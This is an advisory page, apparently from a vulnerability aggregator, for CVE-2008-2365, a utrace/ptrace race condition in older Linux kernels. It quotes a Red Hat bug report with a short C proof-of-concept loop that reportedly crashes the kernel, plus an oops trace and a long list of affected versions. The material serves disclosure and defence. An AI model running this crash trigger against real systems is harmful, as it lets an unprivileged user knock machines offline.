CVE-2008-2365: Race Condition

First published: Mon Jun 02 2008(Updated: )

Description of problem: Alexei Dobryanov has reported the following kernel utrace related issue (<a class="bz_bug_link bz_secure " title="" href="show_bug.cgi?id=245735">BZ#245735</a>): 1. late ptrace_may_attach() check static int ptrace_attach(struct task_struct *task) { ... engine = utrace_attach(task, (UTRACE_ATTACH_CREATE | UTRACE_ATTACH_EXCLUSIVE | UTRACE_ATTACH_MATCH_OPS), &amp;ptrace_utrace_ops, 0); [error checking] if (ptrace_may_attach(task)) { [more attaching process] Doing may attach check there is asking for trouble, because utrace_attach() will happily create and modify "struct utrace *" and create and attach engines to it on task you don't have permissions. Order should be reverted. That's easy. 2. race around &amp;dead_engine_ops setting... I originally thought #1 would lead to memory leaks, however, written dumb PTRACE_ATTACH'er gave much more amazing results. The following program quickly (1 sec) oopses kernel when run against process you normally can't attach to (like normal user to getty processes) #include &lt;stdlib.h&gt; #include &lt;sys/ptrace.h&gt; int main(int argc, char *argv[]) { pid_t pid = atoi(argv[1]); while (1) ptrace(PTRACE_ATTACH, pid, NULL, NULL); return 0; } Unable to handle kernel NULL pointer dereference at 0000000000000000 RIP: [&lt;0000000000000000&gt;] [&lt;ffffffff8005f1cd&gt;] report_quiescent+0x36/0x154 [&lt;ffffffff8005f316&gt;] utrace_quiescent+0x2b/0x238 [&lt;ffffffff800601e9&gt;] utrace_get_signal+0x45d/0x4c0 [&lt;ffffffff80039c6f&gt;] get_signal_to_deliver+0x169/0x47a [&lt;ffffffff80008f5a&gt;] do_notify_resume+0xd0/0x7e2 [&lt;ffffffff80203673&gt;] _spin_unlock_irqrestore+0x3f/0x45 [&lt;ffffffff80051d71&gt;] trace_hardirqs_on+0x11b/0x13f [&lt;ffffffff801400c0&gt;] tty_read+0x81/0xc7 [&lt;ffffffff80202ede&gt;] trace_hardirqs_on_thunk+0x35/0x37 [&lt;ffffffff80051d71&gt;] trace_hardirqs_on+0x11b/0x13f [&lt;ffffffff80009b43&gt;] sysret_signal+0x21/0x31 [&lt;ffffffff80009deb&gt;] ptregscall_common+0x67/0xac This is a race we chatted with Roland about: <a href="http://marc.info/?l=linux-kernel&amp;m=117863520707703&amp;w=2">http://marc.info/?l=linux-kernel&amp;m=117863520707703&amp;w=2</a> <span class="quote">&gt; engine's flags and ops settings in utrace_detach() and acting on them in &gt; report_quiescent():</span> <span class="quote">&gt; utrace_detach() report_quiescent() &gt; --------------- ------------------ &gt; [utrace lock held] [utrace lock is not held]</span> <span class="quote">&gt; engine-&gt;flags = &gt; UTRACE_EVENT(QUIESCE) | UTRACE_ACTION_QUIESCE;</span> <span class="quote">&gt; if (engine-&gt;flags &amp; UTRACE_EVENT(QUIESCE)) &gt; REPORT(report_quiesce);</span> <span class="quote">&gt; rcu_assign_pointer(engine-&gt;ops, &amp;dead_engine_ops);</span> <span class="quote">&gt; At the moment of REPORT call engine's ops are still "live" ptrace ops &gt; which do not have -&gt;report_quiesce callback. So, there will oops while &gt; calling function at NULL address. "Dead" ptrace engine ops do have dummy &gt; callback but it wasn't yet glued.</span> Obviously, patch #1 won't fix this. 3. Looks like nobody filed double free at utrace aka oops at __rcu_process_callbacks() against RHEL5 kernel. It's bug <a href="https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002">https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002</a> against FC6, but, hey, every utrace version has it. Test program attached. Every user can trigger it.

Credit: secalert@redhat.com secalert@redhat.com

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Read MoreStart Free Trial

• collector/nvd-historical
• collector/nvd-index
• collector/nvd-api
• agent/remedy
• agent/first-publish-date
• agent/softwarecombine
• agent/type
• agent/author
• collector/mitre-cve
• source/MITRE
• agent/weakness
• agent/references
• agent/last-modified-date
• agent/tags
• agent/description
• agent/severity
• agent/event
• collector/redhat-bugzilla
• source/Red Hat
• alias/CVE-2008-2365
• vendor/linux
• canonical/linux linux kernel
• version/linux linux kernel/2.6.11-rc3
• version/linux linux kernel/2.6.20.9
• version/linux linux kernel/2.6.11
• version/linux linux kernel/2.6.23.4
• version/linux linux kernel/2.6.22.15
• version/linux linux kernel/2.6.17.12
• version/linux linux kernel/2.6.21
• version/linux linux kernel/2.6.16.9
• version/linux linux kernel/2.6.12-rc1
• version/linux linux kernel/2.6.12-rc4
• version/linux linux kernel/2.6.12.12
• version/linux linux kernel/2.6.19-rc4
• version/linux linux kernel/2.6.14-rc2
• version/linux linux kernel/2.6.15.3
• version/linux linux kernel/2.6.20.13
• version/linux linux kernel/2.6.21-rc5
• version/linux linux kernel/2.6.22.4
• version/linux linux kernel/2.6.16-rc1
• version/linux linux kernel/2.6.13
• version/linux linux kernel/2.6.17.2
• version/linux linux kernel/2.6.13.3
• version/linux linux kernel/2.6.11.8
• version/linux linux kernel/2.6.24.2
• version/linux linux kernel/2.6.21-rc4
• version/linux linux kernel/2.6.23.7
• version/linux linux kernel/2.6.17.8
• version/linux linux kernel/2.6.14.4
• version/linux linux kernel/2.6.14
• version/linux linux kernel/2.6.25.5
• version/linux linux kernel/2.6.17.14
• version/linux linux kernel/2.6.10
• version/linux linux kernel/2.6.13-rc1
• version/linux linux kernel/2.6.22.12
• version/linux linux kernel/2.6.14.3
• version/linux linux kernel/2.6.13-rc6
• version/linux linux kernel/2.6.24-rc3
• version/linux linux kernel/2.6.18.3
• version/linux linux kernel/2.6.11.6
• version/linux linux kernel/2.6.11.11
• version/linux linux kernel/2.6.16.13
• version/linux linux kernel/2.6.13-rc7
• version/linux linux kernel/2.6.21.6
• version/linux linux kernel/2.6.22.1
• version/linux linux kernel/2.6.17.3
• version/linux linux kernel/2.6.24.1
• version/linux linux kernel/2.6.20.5
• version/linux linux kernel/2.6.22
• version/linux linux kernel/2.6.15.1
• version/linux linux kernel/2.6.11.5
• version/linux linux kernel/2.6.19.1
• version/linux linux kernel/2.6.18.4
• version/linux linux kernel/2.6.16.1
• version/linux linux kernel/2.6.18.1
• version/linux linux kernel/2.6.23.1
• version/linux linux kernel/2.6.14.5
• version/linux linux kernel/2.6.13.2
• version/linux linux kernel/2.6.12-rc5
• version/linux linux kernel/2.6.17.5
• version/linux linux kernel/2.6.14-rc3
• version/linux linux kernel/2.6.21.1
• version/linux linux kernel/2.6.25.3
• version/linux linux kernel/2.6.17
• version/linux linux kernel/2.6.24
• version/linux linux kernel/2.6.19.2
• version/linux linux kernel/2.6.21.4
• version/linux linux kernel/2.6.11-rc4
• version/linux linux kernel/2.6.16.11
• version/linux linux kernel/2.6.15-rc3
• version/linux linux kernel/2.6.17.10
• version/linux linux kernel/2.6.15.11
• version/linux linux kernel/2.6.24_rc4
• version/linux linux kernel/2.6.14.1
• version/linux linux kernel/2.6.19-rc1
• version/linux linux kernel/2.6.16.23
• version/linux linux kernel/2.6.12.5
• version/linux linux kernel/2.6.20
• version/linux linux kernel/2.6.23.10
• version/linux linux kernel/2.6.22.7
• version/linux linux kernel/2.6.15-rc2
• version/linux linux kernel/2.6.12.1
• version/linux linux kernel/2.6.10-rc2
• version/linux linux kernel/2.6.17.1
• version/linux linux kernel/2.6.20.8
• version/linux linux kernel/2.6.21-rc6
• version/linux linux kernel/2.6.20.15
• version/linux linux kernel/2.6.13.4
• version/linux linux kernel/2.6.23.9
• version/linux linux kernel/2.6.22.6
• version/linux linux kernel/2.6.23.3
• version/linux linux kernel/2.6.22.3
• version/linux linux kernel/2.6.12.2
• version/linux linux kernel/2.6.23-rc1
• version/linux linux kernel/2.6.14-rc1
• version/linux linux kernel/2.6.20.11
• version/linux linux kernel/2.6.19
• version/linux linux kernel/2.6.20.3
• version/linux linux kernel/2.6.16
• version/linux linux kernel/2.6.22.13
• version/linux linux kernel/2.6.15.2
• version/linux linux kernel/2.6.22.17
• version/linux linux kernel/2.6.23.14
• version/linux linux kernel/2.6.17.11
• version/linux linux kernel/2.6.12.4
• version/linux linux kernel/2.6.22.11
• version/linux linux kernel/2.6.23
• version/linux linux kernel/2.6.12.3
• version/linux linux kernel/2.6.13-rc4
• version/linux linux kernel/2.6.23.2
• version/linux linux kernel/2.6.25.1
• version/linux linux kernel/2.6.25.4
• version/linux linux kernel/2.6.11-rc2
• version/linux linux kernel/2.6.21.7
• version/linux linux kernel/2.6.21.2
• version/linux linux kernel/2.6.15.4
• version/linux linux kernel/2.6.23_rc1
• version/linux linux kernel/2.6.24-rc2
• version/linux linux kernel/2.6.20.2
• version/linux linux kernel/2.6.16.12
• version/linux linux kernel/2.6.16.27
• version/linux linux kernel/2.6.12.6
• version/linux linux kernel/2.6.17.7
• version/linux linux kernel/2.6.20.1
• version/linux linux kernel/2.6.11.7
• version/linux linux kernel/2.6.24.6
• version/linux linux kernel/2.6.15
• version/linux linux kernel/2.6.12.22
• version/linux linux kernel/2.6.24_rc5
• version/linux linux kernel/2.6.15-rc1
• vendor/redhat
• canonical/redhat enterprise linux desktop
• version/redhat enterprise linux desktop/4.0
• version/linux linux kernel/2.6.23.5
• version/linux linux kernel/2.6.22.8
• version/linux linux kernel/2.6.14.2
• version/linux linux kernel/2.6.14-rc4
• version/linux linux kernel/2.6.18
• version/linux linux kernel/2.6.19-rc2
• version/linux linux kernel/2.6.20.4
• version/linux linux kernel/2.6.17.6
• version/linux linux kernel/2.6.23.6
• version/linux linux kernel/2.6.16.7
• version/linux linux kernel/2.6.17.13
• canonical/redhat enterprise linux
• version/redhat enterprise linux/4.0
• version/linux linux kernel/2.6.19-rc3
• version/linux linux kernel/2.6.25
• version/linux linux kernel/2.6.25.2
• version/linux linux kernel/2.6.22.5
• version/linux linux kernel/2.6.21-rc3
• version/linux linux kernel/2.6.11.4
• version/linux linux kernel/2.6.16.19
• version/linux linux kernel/2.6.11.12
• version/linux linux kernel/2.6.22.16
• version/linux linux kernel/2.6.9
• version/linux linux kernel/2.6.13.1
• version/linux linux kernel/2.6.17-rc5
• version/linux linux kernel/2.6.22.14
• version/linux linux kernel/2.6.12